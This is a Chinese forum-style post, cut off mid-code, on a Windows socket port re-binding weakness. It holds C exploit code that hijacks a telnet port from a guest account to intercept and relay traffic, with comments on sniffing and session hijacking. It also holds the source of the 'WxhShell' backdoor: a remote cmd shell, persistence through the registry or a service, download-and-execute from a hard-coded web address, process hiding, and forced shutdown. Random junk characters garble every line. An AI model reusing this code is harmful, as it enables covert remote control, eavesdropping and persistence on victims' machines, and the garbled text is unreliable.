在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
* O?Yp%5NH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
i(cKg&+ktd Ab j7 saddr.sin_family = AF_INET;
tQNrDp+ qsbo"29 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9=T;Dxn w4TQ4
Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
xypgG;`\ /JC1o&z_T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
UXpp1/d|e g%[:wjV; 这意味着什么?意味着可以进行如下的攻击:
7'i{JPm z,SI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`#`jU"T | )mBYW}} T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`G`R|B `W~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
R0tT4V+ 6G"UXNa, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
h| wdx(4
eh]syeKBj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.lP',hn 5<v1v& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^5TVm>F@3 M")/6 PH8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2/s42
FoG =G^'wwpv( #include
(g X8iKl #include
a*.#Zgy:lK #include
`\\s%}vZ*T #include
Q{950$)L DWORD WINAPI ClientThread(LPVOID lpParam);
gVzIEE25 int main()
~:f..|JM {
R"P-+T=7M WORD wVersionRequested;
ZBY2,%nAo DWORD ret;
mS![J69( WSADATA wsaData;
b$#b+G{y BOOL val;
5toa@#Bc% SOCKADDR_IN saddr;
AL3iNkEa SOCKADDR_IN scaddr;
"zd_eC5 int err;
{en'8kS SOCKET s;
h
ka_Fo SOCKET sc;
a <?~1pWtc int caddsize;
vFntzN># HANDLE mt;
l}VE8-XB DWORD tid;
^4"AWps wVersionRequested = MAKEWORD( 2, 2 );
zN[&
iKf err = WSAStartup( wVersionRequested, &wsaData );
,z/aT6M?H if ( err != 0 ) {
81s
}4 printf("error!WSAStartup failed!\n");
YT(Eh3ID return -1;
`=#jWZ.8m }
A7+ZY, saddr.sin_family = AF_INET;
#*_!Xc9f 0<~~0US //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?-mOAHW0q $VF,l#aR saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[NO4Wzc saddr.sin_port = htons(23);
o#f"wQH;p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pUqC88*j {
LAxN?ok9gD printf("error!socket failed!\n");
OQ?N_zs, return -1;
8^j~uH }
j+ -r(lZ val = TRUE;
J({D~ //SO_REUSEADDR选项就是可以实现端口重绑定的
YuknZ&Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/R=MX>JA; {
2m yxwA5 printf("error!setsockopt failed!\n");
eeCG#NFY5 return -1;
mi Q*enZi }
X]@"ZV[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o|z@h][(l( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
R`a~8QVh&5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
([<HFc` QtKcv7:4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
x$BNFb%I1 {
@g5y_G{SP ret=GetLastError();
]&Y^ printf("error!bind failed!\n");
xLoQ0rt
6 return -1;
X7L:cVBg }
[I4MK%YQ listen(s,2);
G)}[!'<rR while(1)
jD9u(qAlH {
I)FFh%m<}a caddsize = sizeof(scaddr);
/^nIOAeE //接受连接请求
Kh$"5dy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#Iz)Mu if(sc!=INVALID_SOCKET)
S5 q1Mn {
lRg?||1ik mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
s)qrlv5H if(mt==NULL)
jmr
.gW {
\N0vA~N. printf("Thread Creat Failed!\n");
uWdF7|PN7 break;
04|ZwX$>+ }
<.4(#Ebd }
3[fm|aU CloseHandle(mt);
eP>_CrJb }
7<WS@-2I# closesocket(s);
~CnnN[g(_ WSACleanup();
%mT/y%&: return 0;
<L qJg }
BK%B[f*[OA DWORD WINAPI ClientThread(LPVOID lpParam)
$ -1ajSVJ {
ye$_=KARP SOCKET ss = (SOCKET)lpParam;
<6 Rec^QF SOCKET sc;
ANu>* unsigned char buf[4096];
^)>( <6 SOCKADDR_IN saddr;
PtW2S 1?j long num;
m#RJRuZ|2V DWORD val;
`K.B` DWORD ret;
(Fzy8
s //如果是隐藏端口应用的话,可以在此处加一些判断
C'$}{%Cc@$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'A:Y&w"r saddr.sin_family = AF_INET;
:\"0jQ.y| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)f:i4.M saddr.sin_port = htons(23);
2\1+M) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'|ntwK*f {
I{(!h90 printf("error!socket failed!\n");
lgU!D |v return -1;
cHF W"g78 }
)>FAtE val = 100;
~-7/9$ay5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ex
p?x {
hp'oiR;~w ret = GetLastError();
=exCpW> return -1;
%BkE %ZcZ }
uKk#V6t# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N
{
oVz], {
F:ycV~bE ret = GetLastError();
G`0O5G:1 return -1;
AEyD?^? }
iiq
`:G
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:wIA.1bK} {
MZh.Xo printf("error!socket connect failed!\n");
F7JO/U^oU closesocket(sc);
6L8nw+mEK closesocket(ss);
:;eOhZ=_ return -1;
9S]pC?N]E }
c%doNY9Q while(1)
^vd$j-kjTP {
u9S*2' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}=bzUA`C //如果是嗅探内容的话,可以再此处进行内容分析和记录
jD S\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
iw,uwh|L
num = recv(ss,buf,4096,0);
PkDt-]G. if(num>0)
a^J(TW/ send(sc,buf,num,0);
]C,j80+pK else if(num==0)
}VJ>}i* break;
,g7O num = recv(sc,buf,4096,0);
(]'wQ4iQ if(num>0)
tB>!1}v send(ss,buf,num,0);
49*f=gpGj2 else if(num==0)
JE9v+a{7 break;
|(%<FY$ }
t^":.}[Q closesocket(ss);
?`?Tg&W closesocket(sc);
i;%G Z8 return 0 ;
#h=V@Dh }
HU?1>}4L 1M??@@X G)<B7-72; ==========================================================
@QmN= X5 h7E?7nR 下边附上一个代码,,WXhSHELL
i`F5 ZiuD0#"! ==========================================================
8` +=~S o4FHR+u<M #include "stdafx.h"
y+iRZ%V^ 75Z|meG~ #include <stdio.h>
F(`|-E"E; #include <string.h>
np^&cY] #include <windows.h>
b_ZvI\H #include <winsock2.h>
a.%ps: #include <winsvc.h>
fU$Jh/#": #include <urlmon.h>
P
I"KY@>H 3 twA5)v #pragma comment (lib, "Ws2_32.lib")
zS;ruK%2 #pragma comment (lib, "urlmon.lib")
2K>1,[ C'Z n`Pl:L*kG #define MAX_USER 100 // 最大客户端连接数
rwj+N%N #define BUF_SOCK 200 // sock buffer
>WLX5i& #define KEY_BUFF 255 // 输入 buffer
tP|/Q5s Jp"29
)w #define REBOOT 0 // 重启
xW) #define SHUTDOWN 1 // 关机
2Ty]s~ "7%jv[ #define DEF_PORT 5000 // 监听端口
BT[|f[1 PzKTEYJL #define REG_LEN 16 // 注册表键长度
u|IS7>Sm #define SVC_LEN 80 // NT服务名长度
`"CA$Se8 *Ze0V9$' // 从dll定义API
)KFxtM- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[&99#7B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
x@43ZH_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
y$7Ys:R~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
aWTurnee^
ZJs~,Q // wxhshell配置信息
D1y`J&A>Q struct WSCFG {
^?Xs!kJP int ws_port; // 监听端口
bxh-#x
& char ws_passstr[REG_LEN]; // 口令
ZOPK int ws_autoins; // 安装标记, 1=yes 0=no
I=&i &6v8G char ws_regname[REG_LEN]; // 注册表键名
+&u/R')?6r char ws_svcname[REG_LEN]; // 服务名
PR|z -T char ws_svcdisp[SVC_LEN]; // 服务显示名
:|V650/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
[(*Eg!?W= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Y(6evo&IR int ws_downexe; // 下载执行标记, 1=yes 0=no
P,] ./m\J char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&Pme4IHtm char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ti)Me-g 5?H8?~&dz };
}6a}8EyFP bEcN_7 // default Wxhshell configuration
=!SV;^-q struct WSCFG wscfg={DEF_PORT,
1]''@oh{6U "xuhuanlingzhe",
Ld.9.d] 1,
5T.U=_ag "Wxhshell",
$>#0RzU "Wxhshell",
xRc+3Z= N "WxhShell Service",
(mP{A(kwJ "Wrsky Windows CmdShell Service",
FLG"c690 "Please Input Your Password: ",
\VhG'd3k 1,
|qe;+)0>K "
http://www.wrsky.com/wxhshell.exe",
_(g0$vRP~ "Wxhshell.exe"
~-vCY };
pdJ]V`m fD[O
tc // 消息定义模块
OcV,pJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
eef&ZL6g char *msg_ws_prompt="\n\r? for help\n\r#>";
t!3s@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O#;sY`fy_M char *msg_ws_ext="\n\rExit.";
`oNJ=,p char *msg_ws_end="\n\rQuit.";
2LN6pu char *msg_ws_boot="\n\rReboot...";
X7-*`NI^ char *msg_ws_poff="\n\rShutdown...";
sDNWB_~ char *msg_ws_down="\n\rSave to ";
\;MP|:{pU [ S char *msg_ws_err="\n\rErr!";
}.045 Wuu char *msg_ws_ok="\n\rOK!";
AH n!>w, (y;
6H char ExeFile[MAX_PATH];
stK}K-=` int nUser = 0;
0'6ai=W HANDLE handles[MAX_USER];
v@ QnS int OsIsNt;
MuMq%uDA" &G_#=t& SERVICE_STATUS serviceStatus;
o#6QwbU25 SERVICE_STATUS_HANDLE hServiceStatusHandle;
|HT7m5tu4 QBXEM= // 函数声明
m2^vH+wD int Install(void);
s?;8h &]= int Uninstall(void);
9soEHG=P int DownloadFile(char *sURL, SOCKET wsh);
*7H
*epUa int Boot(int flag);
roc DO8f void HideProc(void);
>m lQ@Z_O int GetOsVer(void);
E0RqY3 int Wxhshell(SOCKET wsl);
{Ni]S$7 void TalkWithClient(void *cs);
Ojz'p5d`> int CmdShell(SOCKET sock);
3m75mny int StartFromService(void);
Nzgi)xX0HX int StartWxhshell(LPSTR lpCmdLine);
v\|jkzR5Y `w#VYs|k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
nxV!mh_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
O EaL2T n[e C // 数据结构和表定义
ynM:]*~K SERVICE_TABLE_ENTRY DispatchTable[] =
./;uhj {
94&t0j_ {wscfg.ws_svcname, NTServiceMain},
.F$}a% {NULL, NULL}
U9T}iI };
'V^M+ng tf 7HhOCYX // 自我安装
Gn4b*Y&M]3 int Install(void)
?=4oxPe {
=YVxQj char svExeFile[MAX_PATH];
!HU$V9C HKEY key;
YK{J"Kof strcpy(svExeFile,ExeFile);
'cc8xC $"NH{%95} // 如果是win9x系统,修改注册表设为自启动
hfI=9x/ if(!OsIsNt) {
zZPWE"u} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q/3*65 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5B|.cOE RegCloseKey(key);
sAU%:W{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&'i_A%V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bL* b>R[x RegCloseKey(key);
-4+'(3qr return 0;
Qq.$!$ }
#tA9`! }
5ZkR3/h e }
{+#{Cha else {
i|z=WnF$& &)6}.$`
// 如果是NT以上系统,安装为系统服务
2?%4|@*H? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jj2=|)w$3 if (schSCManager!=0)
`lE&:) {
I~F&@ SC_HANDLE schService = CreateService
,nL~?h-Zh (
j[i*;0) | schSCManager,
p5E
okh wscfg.ws_svcname,
!yj1X
Ar wscfg.ws_svcdisp,
C)FO:lLr\ SERVICE_ALL_ACCESS,
@C@9Tw2Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
QyL]-zNg SERVICE_AUTO_START,
oy
jkk SERVICE_ERROR_NORMAL,
j?*n@' svExeFile,
$!. [R} NULL,
r4[=pfe25 NULL,
1lIs
jBo g NULL,
K_Y{50# NULL,
2~hdJ/ NULL
U@).jpN );
C ibfuR if (schService!=0)
|)To 0Z {
MkFWZ9c3 CloseServiceHandle(schService);
b+:mV7eX CloseServiceHandle(schSCManager);
Txo{6nd/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Eh;Ia6} strcat(svExeFile,wscfg.ws_svcname);
$:5h5Y#z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
V0m1>{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
wuY-f4 RegCloseKey(key);
<-N eusx% return 0;
xib}E[-l# }
JdI*@b2k[ }
yB7si(,1> CloseServiceHandle(schSCManager);
=%I[o=6 }
Tx&H1 }
S+KKGi_e s1]Pv/a=y return 1;
}N-UlL( }
XelFGT E W (TTsnnx // 自我卸载
.(Ux1.0C int Uninstall(void)
}Y.@:v
j {
QE"$Lc) HKEY key;
:|k!hG hoBFC1 if(!OsIsNt) {
l+6@,TY1U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4J,6cOuW4 RegDeleteValue(key,wscfg.ws_regname);
M6MxY\uM RegCloseKey(key);
mQ}\ptdfV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o/,%rA4 RegDeleteValue(key,wscfg.ws_regname);
74
ptd, RegCloseKey(key);
,e$RvFB return 0;
<hy!B4 }
D_<B^3w) }
JfJ ln[ }
+1qvT_ else {
}mp`!7?>O P JKY$s. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"Ke_dM if (schSCManager!=0)
=>Ae]mi7 {
4`v[p4k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;;UsHhbhI if (schService!=0)
u*iqwm. {
b *|?7 if(DeleteService(schService)!=0) {
g- #eMQ%J CloseServiceHandle(schService);
QP<P,Bi~ CloseServiceHandle(schSCManager);
moVf(7 return 0;
#|769=1 }
;w%g*S CloseServiceHandle(schService);
q{*[uJ}Xc" }
<F_w4! CloseServiceHandle(schSCManager);
r{yIF~k@ }
"o;%em*Bc }
,agkV)H Yy[=E\z return 1;
^+~$eg&js }
uq:'`o-1 "AJ>pU3 // 从指定url下载文件
>oy%qLHe~t int DownloadFile(char *sURL, SOCKET wsh)
)I<VH+6 {
|'i ?o HRESULT hr;
Jnt
r"a-4 char seps[]= "/";
tMf5TiWu@ char *token;
K'e!BZm6Q char *file;
')F@em char myURL[MAX_PATH];
-, =)O char myFILE[MAX_PATH];
Np9Pae' _mdJIa0D6k strcpy(myURL,sURL);
ZKI` ; token=strtok(myURL,seps);
Ca"i<[8 while(token!=NULL)
!Y^$rF-+ {
&e[Lb:Uk) file=token;
.*EP$pc token=strtok(NULL,seps);
(#je0ES }
.q]K:}9!\ FGwgSrXL7 GetCurrentDirectory(MAX_PATH,myFILE);
IMSm strcat(myFILE, "\\");
QKz2ONV=) strcat(myFILE, file);
Q(8W5Fb? send(wsh,myFILE,strlen(myFILE),0);
c$A}mL_ send(wsh,"...",3,0);
6x;"T+BSSS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?1]B(V9nBq if(hr==S_OK)
,aWfGh#$ return 0;
Z-U3TrSI
else
Pd
6 return 1;
*=E4|>Ul, IfRrl/!nw }
%ULd_ES^ R<h0RKiM@ // 系统电源模块
gJOswN;([ int Boot(int flag)
#@5 jOi {
CA"`7<, HANDLE hToken;
n |,} TOKEN_PRIVILEGES tkp;
4P24ySy9F B;{sr'CP if(OsIsNt) {
BYS>" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9*|An LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ke&fTK tkp.PrivilegeCount = 1;
nDchLVw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
t^9q>[/d` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
HZ2 zL17 if(flag==REBOOT) {
N)z]
F9Kg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
93` return 0;
QPF[D7\ }
|4Q><6"G else {
uqy~hY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
9>@"W- return 0;
1G8t=IA%D }
n_] OYG>U }
|om3* ]7 else {
~Uz|sQ*G if(flag==REBOOT) {
:TWHmxch if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}S&SL) return 0;
`+@%l*TQ }
[c6_6q As else {
Fn%:0j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
F{<rIR return 0;
}@A~a`9g }
.~8IW,[ }
&9g#Vq% *KV]MdS return 1;
G}~b }
d{GXFT;0 WI'csM;M# // win9x进程隐藏模块
ma*9O |v^ void HideProc(void)
z#*GPA8Em: {
kQBVx8Uq] <~8W>Y\m HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tv|=`~Y if ( hKernel != NULL )
)Zm E" {
Bp6Evi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7y`~T+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
&c@I4RV|q FreeLibrary(hKernel);
ZNA?`Z)f }
?,),%JQ ]g+(#x_.? return;
IweQB} d }
qx? lCz a" en~(XE1 // 获取操作系统版本
eZJOI1wNp int GetOsVer(void)
i|d41u;@ {
y.eBFf OSVERSIONINFO winfo;
;NPb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*'t`;m~ GetVersionEx(&winfo);
}&naP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
W]*wxzf!5z return 1;
&
='uAw else
K|1^?#n return 0;
<?nr"V }
4-n.4j| bKaV]Uy // 客户端句柄模块
SO&;]YO int Wxhshell(SOCKET wsl)
EX5kF {
D 7E^;W)H SOCKET wsh;
QY fS- struct sockaddr_in client;
]V]o%onW DWORD myID;
XF$C)id2p nW%c95E while(nUser<MAX_USER)
+1623E {
Gsh2 int nSize=sizeof(client);
3a S>U # wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-T(V6&'Qi if(wsh==INVALID_SOCKET) return 1;
UX9o ";. 3+z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Tuy*Df if(handles[nUser]==0)
5astv:p,P closesocket(wsh);
MU^Z*r else
<z4!m/f[( nUser++;
*ZEs5`x }
pV+;/y_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Kj>_XaFCg! 8ksDXf`. return 0;
V!=]a^]: }
eK@Y] !lz p 5'\< gQ // 关闭 socket
%~[F^ void CloseIt(SOCKET wsh)
U\z+{]<< {
?0<3"2Db~ closesocket(wsh);
n#fg7d% nUser--;
0?sp ExitThread(0);
Aws
TDM }
_[7uLWyC9 zBR]bk\ // 客户端请求句柄
+$'/!vN void TalkWithClient(void *cs)
BW;u?1Xa {
_B[(/wY yiU dUw/ SOCKET wsh=(SOCKET)cs;
uQNoIy J) char pwd[SVC_LEN];
1WKDG~ char cmd[KEY_BUFF];
W2k~N X#@ char chr[1];
Glr.)PA int i,j;
w?C\YKF7 PrcM'Q while (nUser < MAX_USER) {
$p@g#3X` {Q"<q`c if(wscfg.ws_passstr) {
yC5|"+
A$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4c yv
8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*%e#)sn* //ZeroMemory(pwd,KEY_BUFF);
-d~'tti i=0;
5*r6#[S\ while(i<SVC_LEN) {
koU.`l. td~3N,S // 设置超时
#]'xUgcE9 fd_set FdRead;
g/J!U8W" struct timeval TimeOut;
Ww~0k!8,t FD_ZERO(&FdRead);
l9h;dI{6 FD_SET(wsh,&FdRead);
=EJ"edw]%0 TimeOut.tv_sec=8;
\4[Ta,;t TimeOut.tv_usec=0;
G!IQ<FuY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
U8mu<) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
pf_ /jR 2^aTW`>L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
A0ToX) |C pwd
=chr[0]; !Z ZA I_N
if(chr[0]==0xd || chr[0]==0xa) { SOL=3hfb^
pwd=0; >vU
Hf`4T
break; 1DP)6{x
} yN.D(ZwF:
i++; GdU
W$.
} ,L;vN6~
;<A/e
// 如果是非法用户,关闭 socket 5dk,!Cjg
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZJ(!jc$"*%
} aBnbu
vp
ccSS au5N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v#FUD-Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G;;~xfE'
96avgyc
while(1) { luT8>9X^:a
u"jnEKN0y
ZeroMemory(cmd,KEY_BUFF); LayU)TIt
8g NEL+
// 自动支持客户端 telnet标准 ^d*>P|n*@e
j=0; M)7enp) F.
while(j<KEY_BUFF) { V]}b3Y!(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vvj]2V3
cmd[j]=chr[0]; jlBCu(.,_
if(chr[0]==0xa || chr[0]==0xd) { }t'^Au`X
cmd[j]=0; fL;p^t u3
break; h~p}08
} !Xi>{nV
j++; d#Ajb
} ]N_^{k,
8.':pY'8"
// 下载文件 =*Xf(mh c
if(strstr(cmd,"http://")) { MjTKM;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); h'p0V@!N
if(DownloadFile(cmd,wsh)) ;>9pJ72r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rE:>G]j6
else {)qP34rM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~tvoR&{I
} GB3B4)cX4Y
else { : 4WbDeR
l0{DnQA>I
switch(cmd[0]) { P}`1#$
?xZmm%JF
// 帮助 }q W aE
case '?': { k;5}@3iQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !%r`'|9y
break; 3~ZVAg[c
} lv*uXg.k^
// 安装 9,CC1f
case 'i': { . $YF|v[=
if(Install()) vM/v}6;_K2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C6~dN&q
else /p0LtUMu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qGCg3u6
break; [udV }
} Y +54z/{
// 卸载 Ui!|!V-
case 'r': { QO k"UP
if(Uninstall()) Zd ,=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V bOLTc
else RfG$Px '
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C:MGi7f
break; x~^I/$
} |81N/]EER
// 显示 wxhshell 所在路径 6~WE#z_
case 'p': { o q)"1
char svExeFile[MAX_PATH]; d
A{Jk
strcpy(svExeFile,"\n\r"); |"w<CKlQ
strcat(svExeFile,ExeFile); J94YMyOo
send(wsh,svExeFile,strlen(svExeFile),0); d|RmU/)
break; >:&p(eu)L0
} 0K0=Ob^(e
// 重启 l0if#?4\r
case 'b': { r$Y!Y#hwQ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ky$G$H
if(Boot(REBOOT)) d/rz0L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +lJ]-U|P
else { $]J IA|
closesocket(wsh); Eo&qc 17)`
ExitThread(0); ,D,f9
} y|{?>3
break; \'Kj.EO{?$
} $#3<rcOq
// 关机 z|)1l`
case 'd': { [Od9,XBa
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .fY<"2g
if(Boot(SHUTDOWN)) l>Ja[`X@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y4rJ-
else { Z3>3&|&
closesocket(wsh); _)2TLA
n3
ExitThread(0); >Eg .c
} hpV
/F
break; }A/&]1GWk
} 6F/
OlK<
// 获取shell 5XO'OSdYq
case 's': { eAKQR
CmdShell(wsh); !&p:=}s
closesocket(wsh); U]
-@yx
ExitThread(0); f?zK"
break; ]Wt6V^M'@
} vqz#V=J{
// 退出 -01 1U!
case 'x': {
0P3|1=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @aN=U=
CloseIt(wsh); +{i"G,3
break; ef:$1VIBda
} ]G~N+\8]U
// 离开 QYw4kD}
case 'q': { >E ;o"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); edk9Qd9
closesocket(wsh); _XNR um4
WSACleanup(); <sYw%9V
exit(1); 7C7(bg,7^
break; / !
} 0*/ r'
} !_H8Q}a
} |SukiXJZF
f<4q ]HCa
// 提示信息 s1 ^mk]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); exEld
} (i0"hi
} \ +-hn
=)1YYJTe9
return; )/T$H|
} S Y>,kwHO
@TPgA(5NR
// shell模块句柄 $0S#d@v}
int CmdShell(SOCKET sock) 4\SBf\ c
{ ) wo2GF
STARTUPINFO si; [Ro0eH
ZeroMemory(&si,sizeof(si)); /Q>{YsRRB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3/IWO4?_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dzE Q$u/I
PROCESS_INFORMATION ProcessInfo; ?$@KwA
char cmdline[]="cmd"; m-S33PG{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;E? hz
return 0; Vt)\[Tl~
} 2{]S_. zV
`NWgETf^#
// 自身启动模式 hB$Y4~T%
int StartFromService(void) [(hvK{)
{ |od4kt
typedef struct ;n7|.O]*
{ R ms01m>Y
DWORD ExitStatus; s.I1L?s1w?
DWORD PebBaseAddress; lPcVhj6No%
DWORD AffinityMask; 5az
4N T
